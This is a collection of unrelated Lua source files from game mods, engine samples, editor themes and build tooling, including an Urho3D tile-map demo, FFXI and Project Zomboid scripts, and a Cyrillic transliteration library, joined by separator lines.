kuroScript.door.name = kuroScript.entity.GetDoorName(procData.entity);
-- Check if a statement is true.
if (kuroScript.door.name == "") then
kuroScript.door.name = "Door";
end;
-- Set some information.
kuroScript.door.panel = vgui.Create("ks_Door");
kuroScript.door.panel:MakePopup();
kuroScript.door.panel:Rebuild();
-- Check if a statement is true.
if ( !kuroScript.entity.HasOwner(procData.entity) or ValidEntity(procData.owner) ) then
kuroScript.door.panel.textEntry:SetValue( kuroScript.entity.GetDoorText(procData.entity) );
end;
end);
|
object_draft_schematic_weapon_rifle_disrupter = object_draft_schematic_weapon_shared_rifle_disrupter:new {
}
ObjectTemplates:addTemplate(object_draft_schematic_weapon_rifle_disrupter, "object/draft_schematic/weapon/rifle_disrupter.iff")
|
-- Tile map example.
-- This sample demonstrates:
-- - Creating an isometric 2D scene with tile map
-- - Displaying the scene using the Renderer subsystem
-- - Handling keyboard to move a character and zoom 2D camera
-- - Generating physics shapes from the tmx file's objects
-- - Displaying debug geometry for physics and tile map
-- Note that this sample uses some functions from Sample2D utility class.
require "LuaScripts/Utilities/Sample"
require "LuaScripts/Utilities/2D/Sample2D"
function Start()
-- Set filename for load/save functions
demoFilename = "Isometric2D"
-- Execute the common startup for samples
SampleStart()
-- Create the scene content
CreateScene()
-- Create the UI content
CreateUIContent("ISOMETRIC 2.5D DEMO")
-- Hook up to the frame update events
SubscribeToEvents()
end
function CreateScene()
scene_ = Scene()
-- Create the Octree, DebugRenderer and PhysicsWorld2D components to the scene
scene_:CreateComponent("Octree")
scene_:CreateComponent("DebugRenderer")
local physicsWorld = scene_:CreateComponent("PhysicsWorld2D")
physicsWorld.gravity = Vector2.ZERO -- Neutralize gravity as the character will always be grounded
-- Create camera
cameraNode = Node()
local camera = cameraNode:CreateComponent("Camera")
camera.orthographic = true
camera.orthoSize = graphics.height * PIXEL_SIZE
zoom = 2 * Min(graphics.width / 1280, graphics.height / 800) -- Set zoom according to user's resolution to ensure full visibility (initial zoom (2) is set for full visibility at 1280x800 resolution)
camera.zoom = zoom
-- Setup the viewport for displaying the scene
renderer:SetViewport(0, Viewport:new(scene_, camera))
renderer.defaultZone.fogColor = Color(0.2, 0.2, 0.2) -- Set background color for the scene
-- Create tile map from tmx file
local tmxFile = cache:GetResource("TmxFile2D", "Urho2D/Tilesets/atrium.tmx")
local tileMapNode = scene_:CreateChild("TileMap")
local tileMap = tileMapNode:CreateComponent("TileMap2D")
tileMap.tmxFile = tmxFile
local info = tileMap.info
-- Create Spriter Imp character (from sample 33_SpriterAnimation)
CreateCharacter(info, true, 0, Vector3(-5, 11, 0), 0.15)
-- Generate physics collision shapes from the tmx file's objects located in "Physics" (top) layer
local tileMapLayer = tileMap:GetLayer(tileMap.numLayers - 1)
CreateCollisionShapesFromTMXObjects(tileMapNode, tileMapLayer, info)
-- Instantiate enemies and moving platforms at each placeholder of "MovingEntities" layer (placeholders are Poly Line objects defining a path from points)
PopulateMovingEntities(tileMap:GetLayer(tileMap.numLayers - 2))
-- Instantiate coins to pick at each placeholder of "Coins" layer (placeholders for coins are Rectangle objects)
PopulateCoins(tileMap:GetLayer(tileMap.numLayers - 3))
-- Check when scene is rendered
SubscribeToEvent("EndRendering", HandleSceneRendered)
end
function HandleSceneRendered()
UnsubscribeFromEvent("EndRendering")
SaveScene(true) -- Save the scene so we can reload it later
scene_.updateEnabled = false -- Pause the scene as long as the UI is hiding it
end
function SubscribeToEvents()
-- Subscribe HandleUpdate() function for processing update events
SubscribeToEvent("Update", "HandleUpdate")
-- Subscribe HandlePostUpdate() function for processing post update events
SubscribeToEvent("PostUpdate", "HandlePostUpdate")
-- Subscribe to PostRenderUpdate to draw physics shapes
SubscribeToEvent("PostRenderUpdate", "HandlePostRenderUpdate")
-- Subscribe to Box2D contact listeners
SubscribeToEvent("PhysicsBeginContact2D", "HandleCollisionBegin")
-- Unsubscribe the SceneUpdate event from base class to prevent camera pitch and yaw in 2D sample
UnsubscribeFromEvent("SceneUpdate")
end
function HandleUpdate(eventType, eventData)
-- Zoom in/out
Zoom(cameraNode:GetComponent("Camera"))
-- Toggle debug geometry with spacebar
if input:GetKeyPress(KEY_Z) then drawDebug = not drawDebug end
-- Check for loading / saving the scene
if input:GetKeyPress(KEY_F5) then
SaveScene()
end
if input:GetKeyPress(KEY_F7) then
ReloadScene(false)
end
end
function HandlePostUpdate(eventType, eventData)
if character2DNode == nil or cameraNode == nil then
return
end
cameraNode.position = Vector3(character2DNode.position.x, character2DNode.position.y, -10) -- Camera tracks character
end
function HandlePostRenderUpdate(eventType, eventData)
if drawDebug then
scene_:GetComponent("PhysicsWorld2D"):DrawDebugGeometry(true)
local tileMapNode = scene_:GetChild("TileMap", true)
local map = tileMapNode:GetComponent("TileMap2D")
map:DrawDebugGeometry(scene_:GetComponent("DebugRenderer"), false)
end
end
function HandleCollisionBegin(eventType, eventData)
-- Get colliding node
local hitNode = eventData["NodeA"]:GetPtr("Node")
if hitNode.name == "Imp" then
hitNode = eventData["NodeB"]:GetPtr("Node")
end
local nodeName = hitNode.name
local character = character2DNode:GetScriptObject("Character2D")
-- Handle coins picking
if nodeName == "Coin" then
hitNode:Remove()
character.remainingCoins = character.remainingCoins - 1
if character.remainingCoins == 0 then
local instructions = ui.root:GetChild("Instructions", true)
instructions.text = "!!! You got all the coins !!!"
end
local coinsText = ui.root:GetChild("CoinsText", true)
coinsText.text = character.remainingCoins -- Update coins UI counter
PlaySound("Powerup.wav")
end
-- Handle interactions with enemies
if nodeName == "Orc" then
local animatedSprite = character2DNode:GetComponent("AnimatedSprite2D")
local deltaX = character2DNode.position.x - hitNode.position.x
-- Orc killed if character is fighting in its direction when the contact occurs
if animatedSprite.animation == "attack" and deltaX < 0 == animatedSprite.flipX then
hitNode:GetScriptObject("Mover").emitTime = 1
if hitNode:GetChild("Emitter", true) == nil then
hitNode:GetComponent("RigidBody2D"):Remove() -- Remove Orc's body
SpawnEffect(hitNode)
PlaySound("BigExplosion.wav")
end
-- Player killed if not fighting in the direction of the Orc when the contact occurs
else
if character2DNode:GetChild("Emitter", true) == nil then
character.wounded = true
if nodeName == "Orc" then
hitNode:GetScriptObject("Mover").fightTimer = 1
end
SpawnEffect(character2DNode)
PlaySound("BigExplosion.wav")
end
end
end
end
-- Character2D script object class
Character2D = ScriptObject()
function Character2D:Start()
self.wounded = false
self.killed = false
self.timer = 0
self.maxCoins = 0
self.remainingCoins = 0
self.remainingLifes = 3
end
function Character2D:Update(timeStep)
if character2DNode == nil then
return
end
-- Handle wounded/killed states
if self.killed then
return
end
if self.wounded then
self:HandleWoundedState(timeStep)
return
end
local node = self.node
local animatedSprite = node:GetComponent("AnimatedSprite2D")
-- Set direction
local moveDir = Vector3.ZERO -- Reset
local speedX = Clamp(MOVE_SPEED_X / zoom, 0.4, 1)
local speedY = speedX
if input:GetKeyDown(KEY_LEFT) or input:GetKeyDown(KEY_A) then
moveDir = moveDir + Vector3.LEFT * speedX
animatedSprite.flipX = false -- Flip sprite (reset to default play on the X axis)
end
if input:GetKeyDown(KEY_RIGHT) or input:GetKeyDown(KEY_D) then
moveDir = moveDir + Vector3.RIGHT * speedX
animatedSprite.flipX = true -- Flip sprite (flip animation on the X axis)
end
if not moveDir:Equals(Vector3.ZERO) then
speedY = speedX * MOVE_SPEED_SCALE
end
if input:GetKeyDown(KEY_UP) or input:GetKeyDown(KEY_W) then
moveDir = moveDir + Vector3.UP * speedY
end
if input:GetKeyDown(KEY_DOWN) or input:GetKeyDown(KEY_S) then
moveDir = moveDir + Vector3.DOWN * speedY
end
-- Move
if not moveDir:Equals(Vector3.ZERO) then
node:Translate(moveDir * timeStep)
end
-- Animate
if input:GetKeyDown(KEY_SPACE) then
if animatedSprite.animation ~= "attack" then
animatedSprite:SetAnimation("attack", LM_FORCE_LOOPED)
end
elseif not moveDir:Equals(Vector3.ZERO) then
if animatedSprite.animation ~= "run" then
animatedSprite:SetAnimation("run")
end
elseif animatedSprite.animation ~= "idle" then
animatedSprite:SetAnimation("idle")
end
end
function Character2D:HandleWoundedState(timeStep)
local node = self.node
local body = node:GetComponent("RigidBody2D")
local animatedSprite = node:GetComponent("AnimatedSprite2D")
-- Play "hit" animation in loop
if animatedSprite.animation ~= "hit" then
animatedSprite:SetAnimation("hit", LM_FORCE_LOOPED)
end
-- Update timer
self.timer = self.timer + timeStep
if self.timer > 2.0 then
-- Reset timer
self.timer = 0.0
-- Clear forces (should be performed by setting linear velocity to zero, but currently doesn't work)
body.linearVelocity = Vector2(0.0, 0.0)
body.awake = false
body.awake = true
-- Remove particle emitter
node:GetChild("Emitter", true):Remove()
-- Update lifes UI and counter
self.remainingLifes = self.remainingLifes - 1
local lifeText = ui.root:GetChild("LifeText", true)
lifeText.text = self.remainingLifes -- Update lifes UI counter
-- Reset wounded state
self.wounded = false
-- Handle death
if self.remainingLifes == 0 then
self:HandleDeath()
return
end
-- Re-position the character to the nearest point
if node.position.x < 15.0 then
node.position = Vector3(1.0, 8.0, 0.0)
else
node.position = Vector3(18.8, 9.2, 0.0)
end
end
end
function Character2D:HandleDeath()
local node = self.node
local animatedSprite = node:GetComponent("AnimatedSprite2D")
-- Set state to 'killed'
self.killed = true
-- Update UI elements
local instructions = ui.root:GetChild("Instructions", true)
instructions.text = "!!! GAME OVER !!!"
ui.root:GetChild("ExitButton", true).visible = true
ui.root:GetChild("PlayButton", true).visible = true
-- Show mouse cursor so that we can click
input.mouseVisible = true
-- Put character outside of the scene and magnify him
node.position = Vector3(-20.0, 0.0, 0.0)
node:SetScale(1.2)
-- Play death animation once
if animatedSprite.animation ~= "dead2" then
animatedSprite:SetAnimation("dead2")
end
end
|
return { sharp = { 18, 15, 9, 25 }, sharpp = { 18, 15, 9, 32, 4 } }
|
local vim_config = require('github-theme.config.vim_config')
local default_config = require('github-theme.config.default')
---@class gt.Config
---@field schema gt.ConfigSchema
local config = {}
---Accessing global config using vim.g.github_* will help in autocompletion.
config.schema = {
colors = vim_config.get(vim.g.github_colors, default_config.colors),
comment_style = vim_config.get(vim.g.github_comment_style, default_config.comment_style),
dark_float = vim_config.get(vim.g.github_dark_float, default_config.dark_float),
dark_sidebar = vim_config.get(vim.g.github_dark_sidebar, default_config.dark_sidebar),
dev = vim_config.get(vim.g.github_dev, default_config.dev),
function_style = vim_config.get(vim.g.github_function_style, default_config.function_style),
hide_end_of_buffer = vim_config.get(vim.g.github_hide_end_of_buffer, default_config.hide_end_of_buffer),
hide_inactive_statusline = vim_config.get(vim.g.github_hide_inactive_statusline, default_config.hide_inactive_statusline),
keyword_style = vim_config.get(vim.g.github_keyword_style, default_config.keyword_style),
msg_area_style = vim_config.get(vim.g.github_msg_area_style, default_config.msg_area_style),
overrides = vim_config.get(vim.g.github_overrides, default_config.overrides),
sidebars = vim_config.get(vim.g.github_sidebars, default_config.sidebars),
theme_style = vim_config.get(vim.g.github_theme_style, default_config.theme_style),
transparent = vim_config.get(vim.g.github_transparent, default_config.transparent),
variable_style = vim_config.get(vim.g.github_variable_style, default_config.variable_style),
}
---Override user's configuration
---@param user_config gt.ConfigSchema
config.apply_configuration = function(user_config)
for key, value in pairs(user_config) do
if value ~= nil then
if config.schema[key] ~= nil then
-- override value
config.schema[key] = value
vim_config.set(key, value)
else
error('config ' .. key .. ' does not exist') -- luacheck: ignore
end
end
end
end
return config
|
help(
[[
This module loads wget 1.15 into the environment. wget provides
a command line http client.
]])
whatis("Loads the wget command line http client")
local version = "1.15"
local base = "/cvmfs/oasis.opensciencegrid.org/osg/modules/wget/"..version
prepend_path("PATH", pathJoin(base, "bin"))
family('wget')
|
-----------------------------------
-- Area: Lower Jeuno
-- NPC: Sniggnix
-- Type: Standard NPC
-- !pos -45.832 4.498 -135.029 245
--
-- Auto-Script: Requires Verification (Verfied by Brawndo)
-----------------------------------
local ID = require("scripts/zones/Lower_Jeuno/IDs")
require("scripts/globals/keyitems")
-----------------------------------
function onTrade(player, npc, trade)
thickAsThievesGamblingCS = player:getCharVar("thickAsThievesGamblingCS")
if (trade:hasItemQty(1092, 1) and trade:getItemCount() == 1 and thickAsThievesGamblingCS == 7) then -- Trade Regal die
rand1 = math.random(1, 700)
player:startEvent(10026, 0, 1092, rand1) -- complete gambling side quest for as thick as thieves
end
end
function onTrigger(player, npc)
thickAsThievesGamblingCS = player:getCharVar("thickAsThievesGamblingCS")
if (thickAsThievesGamblingCS == 1) then
rand1 = math.random(1, 999)
rand2 = math.random(1, 999)
player:startEvent(10024, 0, 1092, rand1, rand2)
elseif (thickAsThievesGamblingCS >= 2 and thickAsThievesGamblingCS <= 6) then
player:startEvent(10025, 0, 1092, rand1, rand2)
else
player:startEvent(10023)
end
end
function onEventUpdate(player, csid, option)
end
function onEventFinish(player, csid, option)
if (csid == 10024 and option == 1) then -- player won first dice game
player:setCharVar("thickAsThievesGamblingCS", 2)
elseif (csid == 10026) then
player:tradeComplete()
player:setCharVar("thickAsThievesGamblingCS", 8)
player:delKeyItem(tpz.ki.SECOND_FORGED_ENVELOPE)
player:addKeyItem(tpz.ki.SECOND_SIGNED_FORGED_ENVELOPE)
player:messageSpecial(ID.text.KEYITEM_OBTAINED, tpz.ki.SECOND_SIGNED_FORGED_ENVELOPE)
end
end
|
local ngx_upstream = require "ngx.upstream"
local Upstream = require "durpina.upstream"
Upstream.init("upstream", {resolver="8.8.8.8"})
local up = assert(Upstream.get("weighted_roundrobin"))
|
if not LibStub then
error(MAJOR .. " requires LibStub.")
end
local MAJOR, MINOR = "LibTranslit-1.0", 3
local lib = LibStub:NewLibrary(MAJOR, MINOR)
if not lib then return end
local strlen = strlen or string.len
local strbyte = strbyte or string.byte
local strchar = strchar or string.char
local CyrToLat = {
["А"] = "A",
["а"] = "a",
["Б"] = "B",
["б"] = "b",
["В"] = "V",
["в"] = "v",
["Г"] = "G",
["г"] = "g",
["Д"] = "D",
["д"] = "d",
["Е"] = "E",
["е"] = "e",
["Ё"] = "e",
["ё"] = "e",
["Ж"] = "Zh",
["ж"] = "zh",
["З"] = "Z",
["з"] = "z",
["И"] = "I",
["и"] = "i",
["Й"] = "Y",
["й"] = "y",
["К"] = "K",
["к"] = "k",
["Л"] = "L",
["л"] = "l",
["М"] = "M",
["м"] = "m",
["Н"] = "N",
["н"] = "n",
["О"] = "O",
["о"] = "o",
["П"] = "P",
["п"] = "p",
["Р"] = "R",
["р"] = "r",
["С"] = "S",
["с"] = "s",
["Т"] = "T",
["т"] = "t",
["У"] = "U",
["у"] = "u",
["Ф"] = "F",
["ф"] = "f",
["Х"] = "Kh",
["х"] = "kh",
["Ц"] = "Ts",
["ц"] = "ts",
["Ч"] = "Ch",
["ч"] = "ch",
["Ш"] = "Sh",
["ш"] = "sh",
["Щ"] = "Shch",
["щ"] = "shch",
["Ъ"] = "",
["ъ"] = "",
["Ы"] = "Y",
["ы"] = "y",
["Ь"] = "",
["ь"] = "",
["Э"] = "E",
["э"] = "e",
["Ю"] = "Yu",
["ю"] = "yu",
["Я"] = "Ya",
["я"] = "ya"
}
function lib:Transliterate(str, mark)
if not str then
return ""
end
mark = mark or ""
local tstr, marked, i = "", false, 1
while i <= strlen(str) do
local c = str:sub(i, i)
local b = strbyte(c)
if b == 208 or b == 209 then
if marked == false then
tstr = tstr .. mark
marked = true
end
c = str:sub(i + 1, i + 1)
tstr = tstr .. (CyrToLat[strchar(b, strbyte(c))] or strchar(b, strbyte(c)))
i = i + 2
else
if c == " " or c == "-" then
marked = false
end
tstr = tstr .. c
i = i + 1
end
end
return tstr
end
|
local API_SE = require(script:GetCustomProperty("APIStatusEffects"))
local API_D = require(script:GetCustomProperty("APIDamage"))
local SHIELD_BASE = 50.0
local SHIELD_MULTIPLIER = 1.0
local currentShields = {} -- player -> table (index -> amount)
function OnPlayerJoined(player)
currentShields[player] = {}
end
function OnPlayerLeft(player)
currentShields[player] = nil
end
function PostDamageHook(sourceCharacter, targetCharacter, amount, tags)
local remainingAmount = amount
if targetCharacter:IsA("Player") then
for i, shieldAmount in pairs(currentShields[targetCharacter]) do
if shieldAmount >= amount then
currentShields[targetCharacter][i] = currentShields[targetCharacter][i] - amount
return 0.0
else
remainingAmount = remainingAmount - currentShields[targetCharacter][i]
currentShields[targetCharacter][i] = 0.0
end
end
end
return remainingAmount
end
function EffectStart(sourceCharacter, character, index)
local magicStat = 0.0
if sourceCharacter then
magicStat = sourceCharacter.serverUserData.statSheet:GetStatTotalValue("Magic")
end
currentShields[character][index] = SHIELD_BASE + SHIELD_MULTIPLIER * magicStat
end
function EffectEnd(sourceCharacter, character, index)
currentShields[character][index] = nil
end
local data = {}
data.name = "Warding Talisman"
data.duration = 8.0
data.icon = script:GetCustomProperty("Icon")
data.description = script:GetCustomProperty("Description")
data.effectTemplate = script:GetCustomProperty("EffectTemplate")
data.startFunction = EffectStart
data.endFunction = EffectEnd
API_SE.DefineStatusEffect(data)
API_D.RegisterPostDamageHook(PostDamageHook)
Game.playerJoinedEvent:Connect(OnPlayerJoined)
Game.playerLeftEvent:Connect(OnPlayerLeft)
|
local Animal = require("classes.animal")
local Cat = Animal:derive("Cat")
function Cat:new(name, weight, type, favFood)
self.name = name
self.weight = weight
self.type = type
self.favFood = favFood
end
function Cat:soundOff()
return "Meow"
end
return Cat
|
ESX = nil
Citizen.CreateThread(function()
while ESX == nil do
TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end)
Citizen.Wait(0)
end
end)
local gasMaskOn = false
local damageTime = 0
RegisterNetEvent("esx_gasmask:useItem")
AddEventHandler("esx_gasmask:useItem", function()
local animdict = 'mp_masks@on_foot'
local animname = 'put_on_mask'
local playerped = PlayerPedId()
ESX.Streaming.RequestAnimDict(animdict, function()
TaskPlayAnim(playerped, animdict, animname, 8.0, -8.0, -1, 0, 0, false, false, false)
end)
Wait(260)
if not gasMaskOn then
TriggerEvent("skinchanger:getSkin", function(skin)
skin.mask_1 = Config.GasMaskNumber
skin.mask_2 = 0
TriggerEvent("skinchanger:loadSkin", skin)
end)
gasMaskOn = true
SetEntityProofs(playerped, false, false, false, false, false, false, true, true, false)
else
TriggerEvent("skinchanger:getSkin", function(skin)
skin.mask_1 = 0
skin.mask_2 = 0
TriggerEvent("skinchanger:loadSkin", skin)
end)
gasMaskOn = false
SetEntityProofs(playerped, false, false, false, false, false, false, false, false, false)
end
end)
|
ENT.Type = "anim"
ENT.PrintName = "Flare"
ENT.Author = "Black Tea"
ENT.Spawnable = true
ENT.AdminOnly = true
ENT.Category = "NutScript Throwable"
ENT.RenderGroup = RENDERGROUP_BOTH
ENT.configLifetime = 150
ENT.configColor = Color( 255, 50, 50 )
if (SERVER) then
function ENT:SpawnFunction(client, trace, className)
if (!trace.Hit or trace.HitSky) then return end
local spawnPosition = trace.HitPos + trace.HitNormal * 16
local ent = ents.Create(className)
ent:SetPos(spawnPosition)
ent:Spawn()
ent:Activate()
return ent
end
function ENT:Initialize()
self:SetModel("models/Items/grenadeAmmo.mdl")
self:PhysicsInit(SOLID_VPHYSICS)
self:SetMoveType(MOVETYPE_VPHYSICS)
self.lifetime = CurTime() + self.configLifetime
self:SetUseType(SIMPLE_USE)
self.loopsound = CreateSound( self, "weapons/flaregun/burn.wav" )
self.loopsound:Play()
local physicsObject = self:GetPhysicsObject()
if (IsValid(physicsObject)) then
physicsObject:Wake()
end
end
function ENT:OnRemove()
self.loopsound:Stop()
end
function ENT:Think()
if self.lifetime < CurTime() then
self:Remove()
end
if self:WaterLevel() > 0 then
self:Remove()
end
return CurTime()
end
function ENT:Use(activator)
end
else
function ENT:Initialize()
self.lifetime = CurTime() + self.configLifetime
self.emitter = ParticleEmitter( self:GetPos() )
self.emittime = CurTime()
end
function ENT:Think()
local firepos = self:GetPos() + ( self:GetUp() * 5 )
local dlight = DynamicLight(self:EntIndex())
local perc = ( ( self.lifetime - CurTime() )/self.configLifetime )
dlight.Pos = firepos
dlight.r = self.configColor.r
dlight.g = self.configColor.g
dlight.b = self.configColor.b
dlight.Brightness = 7
dlight.Size = 512 * perc + math.sin( CurTime()*FrameTime()/2 )*10
dlight.Decay = 1024
dlight.DieTime = CurTime() + 0.1
end
local GLOW_MATERIAL = Material("sprites/glow04_noz.vmt")
function ENT:Draw()
self:DrawModel()
end
function ENT:DrawTranslucent()
local firepos = self:GetPos() + ( self:GetUp() * 5 )
local perc = ( ( self.lifetime - CurTime() )/self.configLifetime )
local size = 70 + math.sin( CurTime()*FrameTime()*5 ) * 50
render.SetMaterial(GLOW_MATERIAL)
render.DrawSprite(firepos, size * perc, size * perc, self.configColor )
if self.emittime < CurTime() then
local smoke = self.emitter:Add( "particle/smokesprites_000"..math.random(1,9), firepos )
smoke:SetVelocity( self:GetUp()*400*math.Rand( .5, 1 )*perc )
smoke:SetDieTime(math.Rand(1.3,3.3)*perc)
smoke:SetStartAlpha(math.Rand(75,150))
smoke:SetEndAlpha(0)
smoke:SetStartSize(math.random(0,5))
smoke:SetEndSize(math.random(66,220)*perc)
smoke:SetRoll(math.Rand(180,480))
smoke:SetRollDelta(math.Rand(-3,3))
smoke:SetColor(50,50,50)
smoke:SetGravity( Vector( 0, 0, 50 ) )
smoke:SetAirResistance(150)
local smoke = self.emitter:Add( "particle/smokesprites_000"..math.random(1,9), firepos )
smoke:SetVelocity( self:GetUp()*250*math.Rand( .5, 1 )*perc )
smoke:SetDieTime(math.Rand(0.6,2.3)*perc)
smoke:SetStartAlpha(math.Rand(150,200))
smoke:SetEndAlpha(0)
smoke:SetStartSize(math.random(0,5))
smoke:SetEndSize(math.random(22,88)*perc)
smoke:SetRoll(math.Rand(180,480))
smoke:SetRollDelta(math.Rand(-3,3))
smoke:SetColor(self.configColor.r,self.configColor.g,self.configColor.b)
smoke:SetGravity( Vector( 0, 0, 50 ) )
smoke:SetAirResistance(150)
for i = 1, math.random( 1, 10 ) do
local smoke = self.emitter:Add( "effects/spark", firepos )
smoke:SetVelocity( ( self:GetUp()*math.Rand(.5,1) + self:GetForward()*math.Rand(-.2,.2) + self:GetRight()*math.Rand(-.2,.2) ) * 10 * perc)
smoke:SetDieTime(math.Rand(0.05,0.01))
smoke:SetStartAlpha(math.Rand(150,200))
smoke:SetEndAlpha(0)
smoke:SetStartSize(math.random(3,2))
smoke:SetEndSize(math.random(4,3))
smoke:SetStartLength(math.random(1,1))
smoke:SetEndLength(math.random(5,22))
smoke:SetColor(255,186,50)
smoke:SetAirResistance(300)
end
self.emittime = CurTime() + .05
end
end
end
function ENT:PhysicsCollide(data, phys)
if data.Speed > 50 then
self.Entity:EmitSound( Format( "physics/metal/metal_grenade_impact_hard%s.wav", math.random( 1, 3 ) ) )
end
local impulse = -data.Speed * data.HitNormal * 0.1 + (data.OurOldVelocity * -0.6)
phys:ApplyForceCenter(impulse)
end
|
--- A task that deletes all specified files
-- @module howl.modules.tasks.clean
local mixin = require "howl.class.mixin"
local fs = require "howl.platform".fs
local Task = require "howl.tasks.Task"
local Runner = require "howl.tasks.Runner"
local Source = require "howl.files.Source"
local CleanTask = Task:subclass("howl.modules.tasks.clean.CleanTask")
:include(mixin.configurable)
:include(mixin.filterable)
:include(mixin.delegate("sources", {"from", "include", "exclude"}))
function CleanTask:initialize(context, name, dependencies)
Task.initialize(self, name, dependencies)
self.root = context.root
self.sources = Source()
self:exclude { ".git", ".svn", ".gitignore" }
self:description "Deletes all files matching a pattern"
end
function CleanTask:configure(item)
self.sources:configure(item)
end
function CleanTask:setup(context, runner)
Task.setup(self, context, runner)
local root = self.sources
if root.allowEmpty and #root.includes == 0 then
-- Include the build directory if nothing is set
root:from(context.out, { include = "*" })
end
end
function CleanTask:runAction(context)
for _, file in ipairs(self.sources:gatherFiles(self.root, true)) do
context.logger:verbose("Deleting " .. file.path)
fs.delete(file.path)
end
end
local CleanExtensions = {}
function CleanExtensions:clean(name, taskDepends)
return self:injectTask(CleanTask(self.env, name or "clean", taskDepends))
end
local function apply()
Runner:include(CleanExtensions)
end
return {
name = "clean task",
description = "A task that deletes all specified files.",
apply = apply,
CleanTask = CleanTask,
}
|
-- DebugMode makes recipes simpler and is just for debugging purposes, default is false
debugMode = false
-- Due to golden Inserters beeing quite a resource hog you can disable em here if you dont need them
enableGoldenInserter = true
|
local shortCutRecharge_pin_map = require("qnFiles/qnPlist/hall/shortCutRecharge_pin");
local chooseGoodsItem=
{
name="chooseGoodsItem",type=0,typeName="View",time=0,report=0,x=0,y=0,width=226,height=267,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter,
{
name="itemBg",type=2,typeName="Button",time=77873120,report=0,x=0,y=0,width=254,height=311,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter,file=shortCutRecharge_pin_map['coin_bg.png'],
{
name="title",type=4,typeName="Text",time=65266378,report=0,x=0,y=22,width=87,height=35,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,fontSize=30,textAlign=kAlignCenter,colorRed=156,colorGreen=47,colorBlue=3
},
{
name="image",type=1,typeName="Image",time=65266381,report=0,x=0,y=60,width=128,height=109,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,file="hall/common/goodIcon.png"
},
{
name="info",type=4,typeName="Text",time=65266387,report=0,x=0,y=70,width=0,height=0,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignBottom,fontSize=28,textAlign=kAlignCenter,colorRed=255,colorGreen=250,colorBlue=200
},
{
name="money",type=4,typeName="Text",time=65266388,report=0,x=0,y=16,width=0,height=0,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignBottom,fontSize=34,textAlign=kAlignCenter,colorRed=255,colorGreen=222,colorBlue=104
},
{
name="eventIcon",type=1,typeName="Image",time=76823507,report=0,x=0,y=0,width=62,height=62,visible=0,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopLeft,file="hall/common/bg_blank.png"
}
}
}
return chooseGoodsItem;
|
--***********************************************************
--** ROBERT JOHNSON **
--***********************************************************
require "TimedActions/ISBaseTimedAction"
ISBarricadeAction = ISBaseTimedAction:derive("ISBarricadeAction");
function ISBarricadeAction:isValid()
if not instanceof(self.item, "BarricadeAble") or self.item:getObjectIndex() == -1 then
return false
end
local barricade = self.item:getBarricadeForCharacter(self.character)
if self.isMetal then
if barricade then
return false
end
if not self.character:hasEquipped("BlowTorch") or not self.character:hasEquipped("SheetMetal") then
return false
end
elseif self.isMetalBar then
if barricade then
return false
end
if not self.character:hasEquipped("BlowTorch") or not self.character:hasEquipped("MetalBar") then
return false
end
else
if barricade and not barricade:canAddPlank() then
return false
end
if not self.character:hasEquipped("Hammer") and not self.character:hasEquipped("HammerStone") then
return false
end
if not self.character:hasEquipped("Plank") then
return false
end
if not self.character:getInventory():contains("Nails", true) then
return false
end
end
if self.isStarted then
if instanceof(self.item, "IsoDoor") or (instanceof(self.item, "IsoThumpable") and self.item:isDoor()) then
if self.item:IsOpen() then
return false
end
end
end
return true
end
function ISBarricadeAction:update()
self.character:faceThisObject(self.item)
end
function ISBarricadeAction:start()
if self.character:hasEquipped("BlowTorch") then
self.sound = self.character:getEmitter():playSound("weldingSound")
local radius = 20 * self.character:getWeldingSoundMod()
addSound(self.character, self.character:getX(), self.character:getY(), self.character:getZ(), radius, radius)
else
self.sound = self.character:getEmitter():playSound("PZ_Hammer")
local radius = 20 * self.character:getHammerSoundMod()
addSound(self.character, self.character:getX(), self.character:getY(), self.character:getZ(), radius, radius)
end
if instanceof(self.item, "IsoDoor") or (instanceof(self.item, "IsoThumpable") and self.item:isDoor()) then
if self.item:IsOpen() then
self.item:ToggleDoor(self.character)
end
self.isStarted = true
end
end
function ISBarricadeAction:stop()
if self.sound then
self.character:getEmitter():stopSound(self.sound)
self.sound = nil
end
ISBaseTimedAction.stop(self);
end
function ISBarricadeAction:perform()
if self.sound then
self.character:getEmitter():stopSound(self.sound)
self.sound = nil
end
local material = self.character:getSecondaryHandItem()
if not instanceof(material, "InventoryItem") then return end
if isClient() then
local obj = self.item
local index = obj:getObjectIndex()
local args = { x=obj:getX(), y=obj:getY(), z=obj:getZ(), index=index, isMetal=self.isMetal, isMetalBar=self.isMetalBar, itemID=material:getID(), condition=material:getCondition() }
sendClientCommand(self.character, 'object', 'barricade', args)
else
local barricade = IsoBarricade.AddBarricadeToObject(self.item, self.character)
if barricade then
if self.isMetal then
barricade:addMetal(self.character, material)
self.character:getXp():AddXPNoMultiplier(Perks.MetalWelding, 6)
elseif self.isMetalBar then
barricade:addMetalBar(self.character, material)
self.character:getXp():AddXPNoMultiplier(Perks.MetalWelding, 6)
else
barricade:addPlank(self.character, material)
self.character:getInventory():RemoveOneOf("Nails")
self.character:getInventory():RemoveOneOf("Nails")
self.character:getXp():AddXPNoMultiplier(Perks.Woodwork, 3)
end
self.character:getInventory():Remove(material)
if self.isMetalBar then
local bars = self.character:getInventory():getItemsFromFullType("Base.MetalBar", true);
for i=0,1 do
if bars:get(i) then
local bar = bars:get(i);
bar:getContainer():Remove(bar);
end
end
end
if self.isMetalBar or self.isMetal then
self.character:getPrimaryHandItem():Use();
self.character:getPrimaryHandItem():Use();
self.character:getPrimaryHandItem():Use();
end
if self.character:getSecondaryHandItem() == material then
self.character:setSecondaryHandItem(nil)
end
end
end
-- needed to remove from queue / start next.
ISBaseTimedAction.perform(self);
end
function ISBarricadeAction:new(character, item, isMetal, isMetalBar, time)
local o = {}
setmetatable(o, self)
self.__index = self
o.character = character;
o.item = item;
o.stopOnWalk = true;
o.stopOnRun = true;
o.maxTime = time;
o.isMetal = isMetal;
o.isMetalBar = isMetalBar;
if character:HasTrait("Handy") then
o.maxTime = time - 20;
end
if character:getAccessLevel() ~= "None" then
o.maxTime = 1;
end
o.caloriesModifier = 8;
return o;
end
|
---------------------------------------------------------------------------------------------------
